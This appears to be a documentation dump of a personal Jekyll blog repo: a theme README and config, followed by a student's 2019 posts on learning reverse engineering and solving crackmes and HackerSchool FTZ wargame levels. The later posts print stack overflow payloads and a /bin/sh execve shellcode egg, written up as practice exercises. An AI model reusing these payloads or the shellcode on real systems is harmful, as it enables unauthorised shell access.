## 1. Project Overview & Quickstart (code-yeongyu/workflows)

# Technical Documentation: code-yeongyu/workflows

> ℹ️ **Provenance:** Multi-Tier Ingestion · [CodeWiki Reference](https://codewiki.google/github.com/code-yeongyu/workflows)

# workflows

### Agent Skills & Rules
- Discovered 21 agent rule(s) and prompt configurations.



--- METRICS ---
- Files Extracted: 1
- Estimated Token Budget: ~24 tokens
- Canonical Reference: https://codewiki.google/github.com/code-yeongyu/workflows


## 2. Official Technical Reference & Guides (code-yeongyu/code-yeongyu.github.io)

## File: README.md

# plainwhite

Simplistic jekyll portfolio-style theme for writers.

**Demo**: [thelehhman.com](https://thelehhman.com)




## Installation on Github Pages

Add this line to your site's `_config.yml`:
```yaml
remote_theme: thelehhman/plainwhite-jekyll
```
## Installation

Add this line to your Jekyll site's `Gemfile`:

```ruby
gem "plainwhite"
```

And add this line to your Jekyll site's `_config.yml`:

```yaml
theme: plainwhite
```

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install plainwhite

## Usage

The "plainwhite" key in _config.yml is used to customize the theme data.
```yaml
plainwhite:
  name: Adam Denisov
  tagline: Developer. Designer
  date_format: "%b %-d, %Y"

  social_links:
    twitter: thelehhman
    github:  thelehhman
    linkedIn: in/thelehhman # format: locale/username
```

**Updating Placeholder Image**

The placeholder portfolio image can be replaced by the desired image by placing it as `assets/portfolio.png` in your jekyll website.

**Comments (Disqus)**

Comments on posts can be enabled by specifying your disqus_shortname under plainwhite in `_config.yml`. For example,
```yaml
plainwhite:
  disqus_shortname: games
```

**Google Analytics**

It can be enabled by specifying your analytics id under plainwhite in `_config.yml`
```yaml
plainwhite:
  analytics_id: '< YOUR ID >'
```

**Excerpts**

Excerpts can be enabled by adding the following line to your `_config.yml`
```yaml
show_excerpts: true
```
**Layouts**

- Home
- Page
- Post

## Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/thelehhman/plainwhite-jekyll. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

## Development

To set up your environment to develop this theme, run `bundle install`.

Your theme is setup just like a normal Jekyll site! To test your theme, run `bundle exec jekyll serve` and open your browser at `http://localhost:4000`. This starts a Jekyll server using your theme. Add pages, documents, data, etc. like normal to test your theme's contents. As you make modifications to your theme and to your content, your site will regenerate and you should see the changes in the browser after a refresh, just like normal.

When your theme is released, only the files in `_layouts`, `_includes`, `_sass` and `assets` tracked with Git will be bundled.
To add a custom directory to your theme-gem, please edit the regexp in `plainwhite.gemspec` accordingly.

## License

The theme is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

---

## File: _config.yml

title: Hackers can do anything
author: Exlock
email: code.yeon.gyu@gmail.com
    I do what I love, and I love what I do.
    I write posts about what I love to do.
show_excerpts: true # set to true to show excerpts on the homepage

# Minima date format
# refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this
sass:
  sass_dir: _sass
plainwhite:
  name: YeonGyu Kim
  tagline: Developer, Hacker
  date_format: "%b %-d, %Y"

  # generate social links in footer
  social_links:
    github:  kim-yeon-gyu-exlock
    rss: rss
    # dribbble: jekyll
    facebook: kim.y30n.gyu
    # flickr:   jekyll
    # instagram: jekyll
    # linkedin: jekyll
    # pinterest: jekyll
    # youtube: jekyll
    # youtube_channel: UC8CXR0-3I70i1tfPg1PAE1g
    # youtube_channel_name: CloudCannon
    # telegram: jekyll
    # googleplus: +jekyll
    # microdotblog: jekyll

    # Mastodon instances
    # mastodon:
    # - username: jekyll
    #   instance: example.com
    # - username: jekyll2
    #   instance: example.com

# If you want to link only specific pages in your header, uncomment
# this and add the path to the pages in order as they should show up
#header_pages:
# - about.md

# Build settings
#theme: plainwhite

plugins:
  - jekyll-seo-tag
#  - jekyll-feed

---

## File: index.md

---
layout: home
---

---

## File: LICENSE.txt

The MIT License (MIT)

Copyright (c) 2019 Samarjeet

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

---

## File: _posts/2019-06-03-Reversing1.md

---
layout: post
title:  "First time to study Reversing: what I studied today"
date:  2019-06-03 23:30:00 +0900
categories: [reversing]
---
Hello, it's my first post for this blogs.  
I'm basically a high school student in South Korea. Therefore the book I'm gonna use for studying is a Korean book called "리버싱 핵심원리", which means "principles for the points in reversing".  
I'm planning to write what I studied for each day.  

# Let's Start !

Reverse Engineering is a series of courses about analyzing softwares, products, etc.  
By analyzing them, you can understand how the things work, improve the products, and you can add your ideas on it.  

So, there are two ways for analyze something.

* Static Analysis
* Dynamic Analysis

Static Analysis is a way by observing the appearance of the file.  
In this method, you don't have to execute the file.  
This method is to check the kind of the file, size, header, APIs, internal strings, debugging informations, etc...
You can do this by using the disassembler.  

Dynamic Analysis is a way to analyze a file by executing the file.  
By debugging, you need to observe how the codes flow, and the state of the memory.  
In this method, you can analyze by observing the file, registry, and the networks.  
Also, you can use the debugger.

I know the post is very little, but I'll weigh more for '1 day, 1 posts'.

---

## File: _posts/2019-06-04-Reversing2.md

---
layout: post
title:  "Second time to study Reversing: lack of time, seriously"
date:   2019-06-04 23:49:00 +0900
categories: [reversing]
---

# What is hex code?
The file that we can execute is a set of assembly instructions, which means it's a binary file.  
It would be really hard to understand the meaning if we have to only use the binary.  
So, hackers often convert the binary into hex, cuz it's much easy to read due to the length reduces.  

# What is Patch ?
Modifying the file of some programs or the memory of the process called the patch.  
The general example of patch would be the update system of operating system.  

Tomorrow, I'll analyze the 'Hello World' program written in cpp with the windows api's message box.

---

## File: _posts/2019-06-12-Reversing3.md

---
layout: post
title:  "Start reversing, for real"
date:  2019-06-12 23:46:00 +0900
categories: [reversing]
---

# Let's enter into the world of reversing!

Now you just entered the world of reversing.
You'll remember the definition of reversing: series of courses about analyzing software.
Using a debugging tool is a basic way to analyze software. Therefore let's start reversing with the debugging tool, ollydbg.
You can download it from here.

With the hello world example of the book, "리버싱핵심원리", start debugging.

---

## File: _posts/2019-06-13-Reversing4.md

---
layout: post
title:  "I just launched the ollydbg!"
date:  2019-06-13 12:36:00 +0900
categories: [reversing]
---
Yesterday, I installed the debugger which is called the ollydbg.  
After you launch it and open the examples from the book, "리버싱핵심원리", you'll see a window like this.



The up-left side one is a code window and the up-right side one is a register window.
The below one at the left side is the dump window and the right side one is the stack window.


Code window has the disassembled code with some comments, label and the positions of jump and loop which changes where the code is executing.  
Register window displays the state of registers such as EAX, ECX, EDX, EBX, ESP, EBP, ESI, and EDI. Some registers are modifiable if you want.  
Dump window displays the current memory's state. You can see wherever in the memory you want in HEX, ASCII or Unicode.  
Stack window shows the current state of the stack which ESP register points as the name.

Where debugger waiting is the EP(Entry Point), which is the beginning address of the program that I'm currently debugging.  
This is all for today.  


I think to translate all the contents in the book is inefficient.  
Therefore since tomorrow, I'll just write a simple report about what  I learned.

---

## File: _posts/2019-06-14-Reversing5.md

---
layout: post
title:  "Found the main function"
date:  2019-06-14 22:48:00 +0900
categories: [reversing]
---

Ollydbg has some shortcuts, and today I used F7 which does step over(and goes into the function call), and F8 which does step over(doesn't go into the function call).  
Ctrl+F9 does the command 'execute till return'.


So with these shortcuts, I tried to find where the main function is.  
Because the example code contains the function, 'message box', to find the main function, I needed to find a function which executes that.



and I finally got into it.  
The reason I thought that I found the main function is because of the "www.reversecore.com", and the "MessageBoxW".

---

## File: _posts/2019-06-15-Reversing6.md

---
layout: post
title:  "How to set the base camp"
date:  2019-06-15 23:43:00 +0900
categories: [reversing]
---
I haven't studied a lot today.  
I learned about the features of ollydbg, especially the basecamp.  
So, there are mainly 4 ways to make base camp.  
The first one is to remember the address of the basecamp, use the goto feature, and type the F4 to run execute until cursor.  
The second one is to use the breakpoint feature.  
You can make breakpoints by typing the F2 Key. By typing F9, you'll see your ollydbg stops at the breakpoint.  
The next thing is to make comments with the key ';', and check it at the user-defined comments window.  
And another thing is to use the label feature, which replaces all that specific address into that comment.

---

## File: _posts/2019-06-16-Reversing7.md

---
layout: post
title:  "I patched the hello world.exe"
date:  2019-06-16 21:59:00 +0900
categories: [reversing]
---
Today was the most exciting moment while studying reverse engineering.  
With the commenting features, breakpoint features, and other stuff in ollydbg, I patched the message "Hello World!!" into the "Hello Reversing".



So, there were to ways to modify the string.


The first one is just to edit the value in the memory, and it's only available when the text that you wanna change to is not bigger than the original string area.


The last one is was to create the string in another area in the memory, which is not used, called the 'null padding'.  
I set the string "Hello Reversing" at the memory value at 409F50, which is the null padding.

Also, I actually saw how memory sections work. With the book I study with, I was able to see the text, data, code sections.  
and I was able to see them clearly by the memory addresses.

So the hello world.exe's data section was the 409XXX, and the code section was the 401XXX.

Anyway, studying reverse engineering is very exciting. Therefore I...

---

## File: _posts/2019-06-17-Reversing8.md

---
layout: post
title:  "Byte ordering, Registers"
date:  2019-06-17 22:29:00 +0900
categories: [reversing]
---
# Byte ordering - Little Endian, Big Endian
Let me say I made a variable and put '0x123456' into that.
## Big Endian
In big endian, the data would look like exactly the same as you put.  
Therefore, I can say big endian is the way how we save information.
## Little Endian
In Little Endian, the orders of data are reversed.  
Therefore, the data '0x123456' would look like '\x56\x34\x12'.  
In the book I study with, it says that it's much efficient when the type of data expands or contracts.

# Registers
I was a bit surprised cuz I only knew the general purpose registers.


So, in the 'Basic Program Execution Register', there are four kinds of registers. and they are:
* General Purpose Registers (consisted of 8 32bit registers)
* Segment Registers (consisted of 6 16bit registers)
* Program Status and Control Register (a 32bit register)
* Instruction Pointer (a 32bit register)

## General Purpose Registers
* EAX: Accumulator for operands and results data.
	- usually, be used for the return value of a function
* EBX: Pointer to data in the ds segment
	- be used with 'ESI' and 'EDI' register for index
* ECX: Counter for string and loop operations
	- be used for loop count such as the i of 'for(int i = 0;i<3;i++);'
* EDX: I/O Pointer
	- be used for saving the value of Input / Output pointer

---

## File: _posts/2019-06-18-Reversing9.md

---
layout: post
title:  "Other Registers"
date:  2019-06-18 23:34:00 +0900
categories: [reversing]
---
## Segment Registers
A segment is a method to protect the memory by taking apart the parts of the memory and give'em a start address, area, and permission.  
Also, it's used with paging method to make virtual memory into the physical memory.  
Segment memories are described in the Segment Descriptor Table.  
And segment registers are pointing index of SDT.

There are 6 16bit registers in segment registers.
* CS, Code Segment
* SS, Stack Segment
* DS, Data Segment
* ES, Extra Segment
* FS, Data segment
* GS, Data segment

## Program Status and Control Register
It's also called 'EFLAGS', which is a 32-bit register.  
There are own meaning for each bit.  
And like the name, 'flag', 0 means off, 1 means on.  
It's hard to understand whole the meaning of 32-bit at the starter level, so the book recommends to understand the ZF, OF, and the CF which is necessary for application debugging.  

### Important Flags
* ZF, Zero Flag
	- the value changes to 1 when after the results of calculate operation is 0
* OF, Overflow Flag
	- the value changes to 1 when an overflow happens at a signed integer. Also when MSB(Most Significant Bit) changes
* CF, Carry Flag
	- same as OF, but for an unsigned integer

## Instruction Pointer Register
Its name is EIP, and it's a 32-bit register.  
It's pointing the address of an instruction that is currently executing.  
Unlike the other general purpose registers, it's not modifiable.  
Therefore, in order to change the value inside of this, you have to use assembly operations such as 'jmp' or 'ret', making interrupts, or making an exception.

---

## File: _posts/2019-06-19-Reversing10.md

---
layout: post
title:  "Stack section"
date:  2019-06-19 09:24:00 +0900
categories: [reversing]
---
# Stack
A stack is a FILO(First In Last Out) data structure.  
And in memory, there is a section which uses the stack. It's also called 'stack section'.  

To be comfortable, I'll short the word stack section into 'stack'. So the stack I'm talking about this article is about the stack section in memory.

Stack has these roles.  
1. Saves local variables
2. Give parameters to a function when calls the function
3. Saves the return address

Because the stack is a FILO data structure, it grows from down to up, High Address(from 0xFFFFFF to 0x000000). It would be easy to understand how you stack dishes. 

Therefore, if you push an integer value into the stack, the TOS(top of the stack) which the ESP register points decrease for 4bytes cuz the TOS moved to the upside.
On the same principle, if you pop an integer value into the stack, the esp increases for 4 bytes.

Happy Hacking Happy Reversing

---

## File: _posts/2019-06-20-Reversing11.md

---
layout: post
title:  "What happens if you make a variable in a loop, or bottom of the function?"
date:  2019-06-20 15:40:22 +0900
categories: [reversing]
---
When I started to learn C, all of the tutorials are saying "You should define variables at the top of the function".  
I wrote about the stack section which saves the local variables yesterday.  
At my school club, I had the opportunity to analyze a c program, while solving a pwnable problem.  
I found something at the assembly code. The compiler calculates the total size of all the local variables in a function, and they allocate it in a word(in an operation).  
Because Modern C compilers are smart enough, nowadays we can define the variables anywhere in the function. Like in a loop, middle of the function, or bottom of the function.

So I wanted to see what happens in assembly if I define variables, not at the top of the function.

Therefore, I made four codes which the position of where the variable defines are different.  
BTW, This is pretty far from the subject of today's post, but I found another thing that if a variable defined and not being used, it's not even allocated by the compiler.


Anyway, the codes look like this.
```c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    char array[512] = "nothing";
    int i;
    printf("%s %s", sentence, array);
    return 0;
}
```
This code is a recommended way to make variables. The useless variable 'i' is defined for compare with the loop.
```c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    int i;
    for(i = 0; i < 10; i++) {
        char array[512] = "nothing";
        printf("%s %s", sentence, array);
    }
    return 0;
}
```
and in this code, I put a variable(technically array) in a loop.
```c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    int i;
    printf("%s", sentence);
    for(i = 0; i < 10;i++);
    char array[512] = "nothing";
    printf("%s", array);
    return 0;
}
```
Also, I defined the array the bottom of the code.  





Yeah, as I expected, the compiler which I tried with (Apple LLVM) was smart enough to improve my dirty code. As you can see in the assembly code, the operation "sub 0x640" was the same in the top one and the bottom one.
But one thing I thought weird was the "sub 0x630", which was in the loop code. Somehow, the size has been changed.

What I wanted to figure out by today's experiment was 'What happens if you make a variable in a loop, or bottom of the function?'.  
And it seems like I've got an answer. The answer was "the compiler makes and allocates it just as you define the variable at the top of the function".

Anyway, it was my first time to try 64-bit assembly debugging. Therefore I'm a bit embarrassed about longer memory addresses, different names of registers(such as ESP to RSP). But because it's also a computer that's based on x86, the assembly codes were not that different.

It was very interesting! Understanding a code which I wrote in a computer's perspective was very interesting. Not only for reverse engineering, but also for the programming, I think it's really good to learn the assembly.

Happy Reversing :)

---

## File: _posts/2019-06-21-Reversing12.md

---
layout: post
title:  "What is CrackMe?"
date:  2019-06-21 23:43:22 +0900
categories: [reversing]
---
# What is 'CrackMe'?
CrackMe is a program that is coded for people who want to practice reverse engineering to crack, as its name.  
The book I studied with mentions that this book is actually helpful for being friendly with the assembly codes.  
So from tomorrow, I'll start cracking it.  (Cuz I don't have much time for today. I just got home, and it was 23:30!)

---

## File: _posts/2019-06-22-Reversing13.md

---
layout: post
title:  "Reason why I study reverse engineering"
date:  2019-06-22 23:22:43 +0900
categories: [reversing]
---
Cuz I don't have much time for today, I'll write down here the reasons why I want to study reverse engineering, not other hacking technologies.

# Why do you study reverse engineering?
Since I started to use Android phones and install some custom ROMs in those devices, I always had a dream.  
"I want to make such that software so that I can truly play with my phone".  
Also, at the similar period, I read an article about that geohot hacked the ps3, and that also became my dream.  
"Hack a gaming console, do shits whatever I wanna do, such as running doom :D"
Time passed, now I'm going to high school that I wanted to go(I study about computer stuff there), and I found that reverse engineering is appropriate for what I want to do.  

# Wait, system programming and reverse engineering are different!
Yeah, I know. Reverse engineering is not my final goal.  
I want to get deep computer science knowledge by studying reverse engineering, and I'll change my way to system programming, such as system calls in Linux.  
I want to work for Linux environments or embedded devices in the future, and I'm sure about experiences in studying reverse engineering can help me.

Because my English skills are not good, I wasn't able to short about what I wanted to say.  
Anyway, briefly, I'm studying reverse engineering to hack devices to do whatever I want to do on that device and to study the basics of computer science knowledge.  
Also, I'll study system programming in the future, and I believe my experiences in studying reverse engineering can help me.

---

## File: _posts/2019-06-23-Reversing14.md

---
layout: post
title:  "Let\'s solve crackme level 1"
date:  2019-06-23 22:30:12 +0900
categories: [reversing]
---
# Let's crack
Two days ago, I introduced "crackme". And, today, I tried to crack the crack me level 1, and here is the write up how I solved it.

## Execute it
So, when I first executed the crackme level 1, you'll see such this popup.  


If you press 'ok' here, you'll see this message.



Therefore, I had to make this application to think that HD as a CD-Rom.  

## Debug it
I opened it with the ollydbg, and here is the capture of it.


What I thought it's weird is that it doesn't have any stub code, which means it's coded with assembly, not by another computer languages.  
### How to give parameters to a function
Let's look at the operations before the function MessageBoxA calls.  


This part can be translated into C, like:
```c
MessageBoxA("Make me think your HD is a CD-Rom.", "abex\' 1st crackme", MB_OK|MB_APPLMODAL);
```
You'll ask like, "Hey, I can't get it. According to that assembly code, the string "Make me" thing is not the first. The first one should be the MB thing".  
The answer to this question is can be found if you think how stack saves the data. It's a LIFO struct, right?  
### Find where to patch
The operations with blue lines are garbage codes, which are added to hackers feel difficult to hack this application. So, it doesn't have any meanings.  
The operations with red lines are 'if' in C.  
CMP is a shortage of compare, so it compares to values that are given to parameter.  
#### How cmp works
I once mentioned about the ZERO flag while explaining the flag registers.  
If the result of subtraction between the parameters that are given to cmp equals 0, the zero flag turns on.  
The next operations such as 'je' 'jle' 'jne' are executed by referencing the zero flag.

## Patch
The method I tried is to replace the 'je' which means "jump equal" into 'jne' which means "jump not equal".  


Done!

P.S: the way the book suggests is to replace je into jmp. but jne still worked because I changed the condition into 'if not'.

---

## File: _posts/2019-06-24-Reversing15.md

---
layout: post
title:  "Stack Frame - Function Prologue"
date:  2019-06-24 22:30:12 +0900
categories: [reversing]
---
You may remember about ESP and EBP, and how stack saves the data.  
ESP saves the position of the top of the stack, EBP saves the position of the base of the stack.  
And lastly, the way how the stack section saves the data is the LIFO.

So today, I'm gonna say about the stack section. And the book says that "By studying this, you'll be able to understand what stack frame is and how the stack frame works".

# So, what is it?
The stack frame is a technique which accesses to local variables, parameters, and the return address by using EBP instead of ESP.  

Therefore you have to know about things such as function prologue, and the function epilogue.

# Function Prologue
When a function is called, to save where to back when that function ends, you have to back up the address what to execute for next when the function ends.  
This is called the function prologue.
When a function starts, at the top of the function, there's something like this.
```
push ebp  
mov ebp, esp
```
To understand these commands, you have to think this as stacking another space on the memory that is only for another function.  
Firstly, back up the base address of the stack in order to restore when the function is ended.  
And secondly, set the current top position of the stack as the base to make an own area for that function.  
By this, the function has its own area to save its local variables.

---

## File: _posts/2019-06-25-Reversing16.md

---
layout: post
title:  "Stack Frame - Function Epilogue"
date:  2019-06-24 23:21:11 +0900
categories: [reversing]
---
When the function is about to end, it needs to be restored as before, and the commands of it are these.
```
mov esp ebp
pop ebp
```
to explain these commands, you have to remember how we made the stack frame at the function prologue.  
At the Prologue, we've seen such these commands.
```
push ebp
mov ebp esp
```
We stacked another area of the function, by changing the ebp. And when the function is about to end, to restore as before, change the esp as before, and ebp as before.
That's the function epilogue.  
I think I have to spend more time studying the reversing.  
I seriously feel that it's really hard to write an article for a day cuz lacking of the time.

---

## File: _posts/2019-06-26-Reversing17.md

---
layout: post
title:  "Miscellaneous tips I've learned today"
date:  2019-06-26 13:23:11 +0900
categories: [reversing]
---
About the EAX  
- Mentioned before that this register is used for calculating and returning values when a function is ended.  
- While analyzing an example file of the stack frame, I found that when a calculation is done, and when the value needs to be returned, because EAX register is used to calculating values, the function is straightly done without doing anything because there's already a returning value in the EAX.
- So, this is the code I was talking about. As you can see, just right after the adding calculation is done, the function ends.
- 

When after the function is ended, because the parameters (which are stacked) are unneeded anymore, there is a code that adds 8 into esp to remove that space in the memory.
  
This is one of the 'calling convention', and this way, like cleaning the parameters from the function which called another function, is called 'cdecl'.  
And the way that function who have called by a caller is called 'stdcall'.  
So, briefly, caller cleans the stack: it's cdecl.  
Calee cleans the stack: it's stdcall.

When you want to make EAX as 0, XOR EAX, EAX is faster than mov EAX, 0.  
So, it's commonly used for the c code such as this.
```c
return 0;
```

---

## File: _posts/2019-06-27-Reversing18.md

---
layout: post
title: "Calling convention"
date: 2019-06-27 09:26:19 +0900
categories: [reversing]
---

# cdecl

Cdecl calling convention is useful for making creating variable arguments because it's hard to handle on other calling conventions.
Cdecl is a calling convention that the caller of the function cleans the stack when after the calling function is returned.  
  
As you can see, the caller cleans the stack by the operation ADD ESP, XXX.  
  
and the command RETN doesn't have any parameters, while the stdcall way has a parameter.  
C uses this calling convention as default, but you can use \_stdcall by typing the keyword \_stdcall behind the type of the function.

# stdcall

Stdcall is a calling convention that the callee cleans the stack when it's executing the RETN operation.  
Therefore, the operation ADD ESP, XXX is unneeded.  
  
It has advantages than cdecl because you don't have to clean the stack every time after the function is called. Therefore you can reduce the size of the code.  
Win32API uses this calling convention as default, while Win32API is written in C.  
You may wonder the reason why. It's because to increase the compatibility when a programmer uses it with other languages such as Delphi, Visual Basic, ETC.

# fastcall

It's based on stdcall, but it uses ECX and EDX registers instead of using stack section, it's only available when the parameters are less than two.  
As the name of this calling convention, it's faster than stdcall and cdecl when you call a function because the speed of the register is faster than using ram.  
But to use the ECX and EDX registers, sometimes additional overheads are needed. Like, if there are some important data on the ECX and the EDX registers, you have to back them up.  
Also, when the function is so complex that have to use the ECX and the EDX registers, additional overheads would be needed.

---

## File: _posts/2019-06-28-Reversing19.md

---
layout: post
title:  "Sorry to myself"
date:  2019-06-28 12:22:34 +0900
categories: [reversing]
---
I'm just a Korean who can speak English a little bit, and I only can have basic communications with others in English.  
Since I started to learn English, I always tried to think and write straightly in English.

And recently, I noticed that this is a very bad habit. I found that I have a problem with fluency.  
Because I only can use limited words, the more letters are needed to express what I want to. And, you know, that makes readers hard to understand.

I write the report to record what I study, but also I want to help readers to study what they want to.

But like this way, writing posts like in a factory, I think it can make my posts worthless.

I'm sorry about my self.  
It'll take more time to make a post, but I'll write it in my mother language, Korean, then I'll translate it in English.

Although I don't have any computer science things, I stop here for a new start.

---

## File: _posts/2019-06-29-Reversing20.md

---
layout: post
title:  "Sorry, not about computer science again, but about my thoughts"
date:  2019-06-29 23:26:19 +0900
categories: [reversing]
---
Damn, today's post is not about computer science again.  
To be honest, I agree that I'm too busy these days. I didn't have much time to study computer science.

BTW, I want to talk about the thoughts that I have these days.  
It's true that I didn't study much about reverse engineering.

One thing is about the actual hacking and the hackings in CTF.  
It seems the actual hacking and the hackings in CTF feels quite different.  
As I said before, I want to analyze products such as game consoles.

Others say that hackings in CTF are about finding the serial, therefore I have to analyze the algorithm which makes that serial.  
But in real hacking, I have to find out the whole structure of the program. So it feels like they're very different.

One other thing is about the money. I used to study web programming. If I kept studying web programming, I can earn a little amount of money as a freelancer. You know, it's really hard to earn money as a freelancer if I am not skillful enough.

So I'm thinking and thinking about it, but I'll be the greatest reverser/hacker in the world. You know, there's an old saying, fake it till you make it.

---

## File: _posts/2019-06-30-Reversing21.md

---
layout: post
title: "Crack me 2 write up"
date: 2019-06-30 12:43:36 +0900
categories: [reversing]
---

I used the search for > all referenced strings feature to find the position of the handler function of the check button.  
  
What I did is to find the positions of string and try to find where the function prologue is.  
  
Anyway, while reading the codes in that function, I found a je which looked like a part where decides the result of the serial.  
So I set the breakpoint of that, and I found the serial code for what I typed at the stack.  
  
I was able to solve in this way.  
  
But I want to analyze the algorithm, so I'll post about it tomorrow.

---

## File: _posts/2019-07-01-Reversing22.md

---
layout: post
title: "Crack me 2 algorithm analyzing - found the loop"
date: 2019-07-01 14:59:23 +0900
categories: [reversing]
---
I wanted to know how they encrypt the string at the name field, so I debugged the codes for a while, and I found a loop.  
Which creates the serial code.  
The first thing I found is, the program only uses the very first four values of what I typed.  
I was able to find it by looking at this code, set loop count for 4.  
  

And here is the loop code where encrypts the very first four values.

---

## File: _posts/2019-07-02-Reversing23.md

---
layout: post
title: "Abex's crack me 2 summary"
date: 2019-07-02 19:10:32 +0900
categories: [reversing]
---
0. It makes the serial based on the name you typed  
1. The algorithm to make serial is below:  
	1. Make it as ascii  
	2. Add 64  
	3. Make it as hex  
	4. Make it again as unicode  
	5. Loop these for 4 times

---

## File: _posts/2019-07-03-Reversing24.md

---
layout: post
title: "Abex's crack me 2 cracker c code"
date: 2019-07-03 12:10:32 +0900
categories: [reversing]
---
I made the serial maker for the crackme 2 cracker C code.
```c
#include <stdio.h>
#include <string.h>
#include <math.h>

int main(int argc, char **argv) {
	int i;
	if(strlen(&argv[1]) < 4 || argc < 1) {
		printf("The arguments should be longer than 4!!");
		return 0;
	}

	for(i = 0; i < 4; i++)
		printf("%X",(int)(argv[1][i] + 0x64));
	
	return 0;
}
```
and it works perfectly!

---

## File: _posts/2019-07-04-Pwnable25.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level14"
date: 2019-07-05 16:52:19 +0900
categories: [pwnable]
---

Hacker School is the most famous Korean hacking tutorial for newbies who want to study Hacking.  
I solved from level1 to level 13, therefore I have to solve the level 14 to 20, which are my club homework.

By the way, from level 14, it says that it's from the mainsource. ~~I still actually don't know what it is~~  
So I'll write here the write-ups of them.

BTW, the problem is this. This is the source code of attackme.


So when the value of the variable check equals the 0xdeadbeef, it'll give me the shell.

Since main doesn't have any arguments such as argc and argv, I have to use the Linux pipelines.

Anyway, I tried to analyze it with the gdb because I have to figure out where and how to attack, and here is it:  


The part that making the variable(sub esp, 0x38) means that the total size of the stack is 0x38, which is 56 in decimal.  
And you can see giving the address ebp-56 to fgets(the part giving the arguments, push ebp-56). This means that the start address of buf is ebp-56.

And you can see the cmp, which means 'if', with the ebp-16.  
This means that the address of check is ebp-16.

So the payload will be like this. (Any value)*40+"\xef\xbe\xad\xde"
(the things after *40 is the little-endian-encoded 0xdeadbeef.)

So using the Linux payload feature, this is the payload.

```bash
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|./attackme
```

---

## File: _posts/2019-07-05-Pwnable26.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level15"
date: 2019-07-05 18:34:25 +0900
categories: [pwnable]
---

It's very similar to the previous problem.  
  
However, the variable check is now pointer, which means I have to put the address where 0xdeadbeef is located.  
So I put the 0xdeadbeef into the environment variables, but it was not working for some reason.

So I just inspected the function main with the x, and the 0xdeadbeef was there.



...And solved!

---

## File: _posts/2019-07-06-Pwnable27.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level16"
date: 2019-07-06 12:34:25 +0900
categories: [pwnable]
---

It's amazingly similar to the previous problem.  
  
This problem uses the function pointer, therefore I have to use it.  
It was a bit surprising for me since I haven't actually seen the code which uses it.  
Anyway, function pointer is also a pointer. The only difference is just it's calling the function by pointer.

I tried to analyze it with gdb to see if there's any difference not like I expected.



ebp-56, ebp-16. Yes. It's something that you've seen at the previous problems.  
Anyway, the way to attack it is very simple.  
I have to change the address which call has into the shell from the printit.

So now it's time to find the address of shell.

```
disass shell
```


Address of shell: 0x080484d0  
So this is the payload I used.

```bash
(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|./attackme
```


Super-duper easy.

---

## File: _posts/2019-07-07-Pwnable28.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level17"
date: 2019-07-07 18:12:31 +0900
categories: [pwnable]
---

It's almost similar to the previous problem.  


Now there's no function shell. So I thought that I have to put the address of eggshell into the payload that I used before.

I found an eggshell by googling.

```bash
export egg=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
```

and let's figure out the address of it.





whoo! I solved it again with this payload.

```bash
(python -c 'print "A"*40+"\x3a\xff\xff\xbf"';cat)|./attackme
```

---

## File: _posts/2019-07-08-Pwnable29.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level18"
date: 2019-07-08 13:24:35 +0900
categories: [pwnable]
---

It's not similar to the previous problem.  


...Damn, the code is really long.
By just looking over it, the function read is the part where gets the input.
You know, the array and the pointer is the same. Therefore I thought that I have to access to the check by using it.

The start address of check should be the [string-4] at least, so I tried to 0x80 four times and so on and the beef, but solved just in a time.



YEAH!

---

## File: _posts/2019-07-09-Pwnable30.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level19"
date: 2019-07-09 17:36:11 +0900
categories: [pwnable]
---

  
The problem is, it's using the function gets() which has the vulnerability on checking the size.

Let's just look at it by GDB.  
  
The size of stack is 0x28, which is 40 in decimal. And most of the cases, the RET is after SFP which is right just after the stack.
Therefore I have to fill 44 bytes with usless values, and it looks like I have to put the address of shell code after it.

But this time, there's no part where calling the function setreuid, and I got it by googling.



Now it's time to make payload.  
As I said, I have to put uselss values for 44 bytes, and I have to put that address.



Done!

---

## File: _posts/2019-07-10-Pwnable31.md

---
layout: post
title: "Pwnable is also fun"
date: 2019-07-10 19:54:13 +0900
categories: [pwnable]
---

I almost solved the mainsource, the hacker school ftz.  
It looks like I can learn a lot of things, as level increases, like requires me to make the shellcode.. or so.

Anyway, I started to solve these problems just to do my club homework, and I actually didn't like to solve it, cuz it's pwnable problems.  
But after solving them, I realized that they have a lot in common.

So, I thought that there's no reason to limit my major only for reverse engineering. Pwnable is also fun, and you know, most of CTFs have the pwnable problems the most, and there are not much reverse engineering problems.

So, now I'm interested in Pwnable! It would be my second major since reverse engineering is the most enjoyable thing for me.

---

